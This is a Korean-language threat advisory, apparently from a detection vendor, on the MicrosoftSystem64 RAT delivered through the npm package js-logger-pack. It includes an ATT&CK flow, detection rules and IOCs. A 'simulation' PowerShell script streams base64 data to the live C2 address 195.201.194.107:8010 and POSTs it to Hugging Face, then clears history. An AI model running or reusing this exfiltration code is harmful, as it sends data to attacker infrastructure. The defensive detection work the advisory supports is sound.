MicrosoftSystem64: Hugging Face로 데이터를 탈취하는 공급망 RAT
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
악성 npm 패키지로 명명된 js-logger-pack 가 MicrosoftSystem64라는 교차 플랫폼 Node.js 단일 실행 파일 응용 프로그램을 배포하기 위해 사용되었습니다. 이 바이너리는 암호화폐 지갑 확장 프로그램, 브라우저에 저장된 자격 증명, SSH 키, 텔레그램 세션 데이터 및 스크린샷을 훔칠 수 있는 전체 기능의 원격 액세스 트로이 목마로 작동합니다. 도난당한 정보는 손상된 API 토큰을 사용하여 개인 Hugging Face 데이터셋을 통해 탈취되며, 명령 및 제어 트래픽은 WebSocket 서버를 통해 195.201.194.107:8010에서 처리됩니다. 이 캠페인은 접근을 유지하고 운영을 지속하기 위해 npm 및 Hugging Face 계정을 순환시키는 북한과 연결된 위협 행위자와 연관되어 있습니다.
조사
SafeDep는 악성코드 샘플을 분석하고 XOR로 암호화된 설정, 명령 및 제어 엔드포인트, Hugging Face 토큰과 80개 이상의 대상 지갑 확장 ID 목록을 추출했습니다. 또한 연구원들은 Windows, macOS 및 Linux 시스템에서 사용된 지속성 방법을 검토했으며, Hugging Face API를 포함하는 전체 데이터 탈취 체인을 재구성했습니다. 5월 28일 실시간 검증에서는 활성 데이터셋이 여전히 실제 피해자로부터 스크린샷과 자격 증명 아카이브를 수신하고 있는 것이 확인되었습니다.
완화
조직은 이 캠페인과 관련된 악성 npm 패키지를 즉시 제거하고, 손상된 자격 증명, SSH 키 및 암호화폐 월렛 시드를 교체하며, 승인되지 않은 Hugging Face API 활동을 모니터링해야 합니다. 엔드포인트 보호는 MicrosoftSystem64 프로세스 이름과 관련된 모든 예약 작업 생성을 감지해야 합니다. 네트워크 제어는 또한 식별된 명령 및 제어 IP 주소로의 아웃바운드 트래픽을 차단하고 알 수 없는 바이너리로부터 Hugging Face 엔드포인트에 대한 예기치 않은 접근을 제한해야 합니다.
응답
MicrosoftSystem64가 감지되면 즉시 영향을 받은 시스템을 격리하고, 악성 프로세스를 종료하며, 설치된 파일과 예약 작업을 제거하고, 손상된 Hugging Face 토큰을 철회하십시오. 조사자는 로그와 탈취된 데이터 경로에서 법의학적 증거를 수집한 다음 관련 이해관계자에게 통지하고, 향후 빌드에서 악성 패키지를 차단하기 위해 종속성 스캔 도구를 업데이트해야 합니다.
graph TB %% 클래스 정의 classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9966 classDef infra fill:#ff9999 %% 도구 및 악성코드 노드 tool_npm[“<b>도구</b> – npm 패키지 `js-logger-pack`<br/><b>설명</b> SEA 바이너리 `MicrosoftSystem64` 포함”] class tool_npm tool malware_binary[“<b>악성코드</b> – 바이너리 `MicrosoftSystem64`<br/><b>설명</b> Node.js SEA로 패키징된 크로스 플랫폼 ELF, XOR 암호화 설정 포함”] class malware_binary malware infra_c2[“<b>인프라</b> – WebSocket C2<br/>IP 195.201.194.107 포트 8010”] class infra_c2 infra %% 공격 단계 init_supply_chain[“<b>행위</b> – <b>T1195.001 공급망 공격</b><br/>공격자가 악성 npm 패키지 `js-logger-pack`을 게시하고 SEA 바이너리를 포함”] class init_supply_chain action execution_ingress[“<b>행위</b> – <b>T1105 인그레스 도구 전송</b><br/>피해자가 패키지를 설치하여 포함된 Node.js 바이너리가 실행됨”] class execution_ingress action defense_obfuscation[“<b>행위</b> – <b>T1027.009 / T1027.004 난독화된 파일 또는 정보</b><br/>ELF가 SEA로 패키징되고 XOR 암호화 설정 사용”] class defense_obfuscation action persistence_mechanisms[“<b>행위</b> – <b>T1547.001 / T1547.014 / T1543.001 / T1543.002 지속성</b><br/>Windows Run 키, Active Setup, macOS LaunchAgent, Linux systemd 서비스 생성”] class persistence_mechanisms action defense_hide[“<b>행위</b> – <b>T1564.014 아티팩트 은닉</b> & <b>T1497.002 샌드박스 회피</b><br/>확장 속성 사용 및 사용자 활동 검사 수행”] class defense_hide action priv_esc[“<b>행위</b> – 지속성 메커니즘을 통한 권한 상승<br/>Run 키 또는 서비스를 재사용하여 권한 상승”] class priv_esc action cred_browser[“<b>행위</b> – <b>T1217 브라우저 정보 수집</b> & <b>T1555.003 브라우저 자격 증명</b><br/>Chrome, Edge, Firefox 및 암호화폐 지갑 확장 데이터 탈취”] class cred_browser action keylogging[“<b>행위</b> – <b>T1056.001 키로깅</b><br/>키로거가 Windows/macOS/Linux에서 키 입력 및 클립보드 기록”] class keylogging action collection_clip_video[“<b>행위</b> – <b>T1115 클립보드 데이터</b> & <b>T1125 비디오 캡처</b><br/>60초마다 스크린샷 및 클립보드 모니터링”] class collection_clip_video action collection_db[“<b>행위</b> – <b>T1213.006 정보 저장소 데이터</b><br/>브라우저 DB, SSH 키, Telegram tdata 등 추출”] class collection_db action c2_communication[“<b>행위</b> – <b>T1105 C2 통신</b><br/>WebSocket C2 (195.201.194.107:8010)와 통신”] class c2_communication action exfiltration_hf[“<b>행위</b> – HuggingFace API를 통한 유출<br/>탈취된 데이터를 `jpeek998` 계정으로 업로드”] class exfiltration_hf action impact_resource[“<b>행위</b> – <b>T1496.001 자원 하이재킹</b><br/>암호화폐 지갑 자격 증명 탈취 및 악용”] class impact_resource action %% 흐름 tool_npm –>|전달| malware_binary malware_binary –>|활성화| init_supply_chain init_supply_chain –>|이동| execution_ingress execution_ingress –>|이동| defense_obfuscation defense_obfuscation –>|이동| persistence_mechanisms persistence_mechanisms –>|활성화| defense_hide defense_hide –>|활성화| c2_communication persistence_mechanisms –>|활성화| priv_esc priv_esc –>|이동| cred_browser cred_browser –>|이동| keylogging keylogging –>|이동| collection_clip_video collection_clip_video –>|이동| collection_db collection_db –>|이동| c2_communication c2_communication –>|사용| infra_c2 c2_communication –>|이동| exfiltration_hf exfiltration_hf –>|결과| impact_resource
공격 흐름
탐지
잠재적인 지속성 포인트 [ASEPs – 소프트웨어/NTUSER Hive] (레지스트리 이벤트 통해)
보기
숨겨진 PowerShell 명령줄을 통한 실행 가능성 (cmdline을 통해)
보기
Linux .desktop 파일이 비정상적 폴더에 생성됨 (파일 이벤트 통해)
보기
Linux 호스트에 숨겨진 파일이 생성됨 (파일 이벤트 통해)
보기
탐지할 IOCs (HashSha256): MicrosoftSystem64 내부: HuggingFace로 탈취해 가는 공급망 RAT
보기
탐지할 IOCs (SourceIP): MicrosoftSystem64 내부: HuggingFace로 탈취해 가는 공급망 RAT
보기
탐지할 IOCs (DestinationIP): MicrosoftSystem64 내부: HuggingFace로 탈취해 가는 공급망 RAT
보기
SetWindowsHookEx 키로깅 바이너리 탐지 [Windows Sysmon]
보기
Linux 시스템에서 MicrosoftSystem64 RAT 탐지 [Linux 프로세스 생성]
보기
Microsoft System64 RAT 데이터 탈취를 HuggingFace [Windows 네트워크 연결] 통해
보기
MicrosoftSystem64 RAT 실행 및 PowerShell 명령 탐지 [Windows 프로세스 생성]
보기
시뮬레이션 실행
필수조건: Telemetry & Baseline Pre-flight Check가 통과해야 합니다.
논리적 이유: 이 섹션은 탐지 규칙을 트리거하기 위한 공격자 기술(전술, 기술 및 절차)의 정확한 실행을 자세히 설명합니다. 명령어와 설명은 반드시 식별된 전술, 기술 및 절차를 직접 반영해야 하며 탐지 논리에서 기대되는 정밀한 원격 측정을 생성해야 합니다.
-
공격 서사 및 명령:
공격자는 이미 감염된 Windows 호스트에 “Microsoft System64 RAT”를 설치했습니다. 도난당한 데이터를 탈취하기 위해 RAT는 두 가지 동시 작업을 수행합니다:- C2 채널: 하드코딩된 악성 서버로 원시 TCP 소켓을 엽니다
195.201.194.107포트8010에서 base-64 인코딩된 데이터를 스트리밍합니다. - 은밀한 HTTP 탈취: HTTPS
POST를https://huggingface.co/api/upload에 대해 보낸 후, 정규 트래픽과 혼합하도록 정상적인 사용자 에이전트를 사용하여 요청 본문에 데이터를 포함합니다.
두 가지 작업 모두 Sigma 규칙과 일치하는 아웃바운드 방화벽 이벤트를 생성합니다.
- C2 채널: 하드코딩된 악성 서버로 원시 TCP 소켓을 엽니다
-
회귀 테스트 스크립트:
# ------------------------------------------------- # System64 RAT 탈취 시뮬레이션 (PowerShell) # ------------------------------------------------- # 1. 더미 탈취 데이터 준비 $data = "SecretData$(Get-Date -Format o)" | ConvertTo-Json $b64 = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($data)) # 2. 원시 TCP를 통해 데이터 전송 (C2) $c2Ip = "195.201.194.107" $c2Port = 8010 try { $tcpClient = New-Object System.Net.Sockets.TcpClient($c2Ip, $c2Port) $stream = $tcpClient.GetStream() $bytes = [Text.Encoding]::UTF8.GetBytes($b64) $stream.Write($bytes, 0, $bytes.Length) $stream.Close() $tcpClient.Close() Write-Host "[+] TCP 탈취를 $c2Ip:$c2Port로 전송했습니다." } catch { Write-Error "[-] TCP 연결 실패: $_" } # 3. HuggingFace에 대한 HTTPS를 통해 데이터 전송 (은밀한 탈취) $uri = "https://huggingface.co/api/upload" try { Invoke-WebRequest -Uri $uri ` -Method POST ` -Body @{ data = $b64 } ` -Headers @{ "User-Agent" = "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } ` -UseBasicParsing Write-Host "[+] huggingface.co로 HTTP 탈취 전송했습니다." } catch { Write-Error "[-] HTTP 요청 실패: $_" } -
정리 명령:
# 남아있는 네트워크 아티팩트 제거 Get-NetTCPConnection -RemoteAddress 195.201.194.107 -RemotePort 8010 | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force } # PowerShell 히스토리 지우기 (선택 사항) Clear-History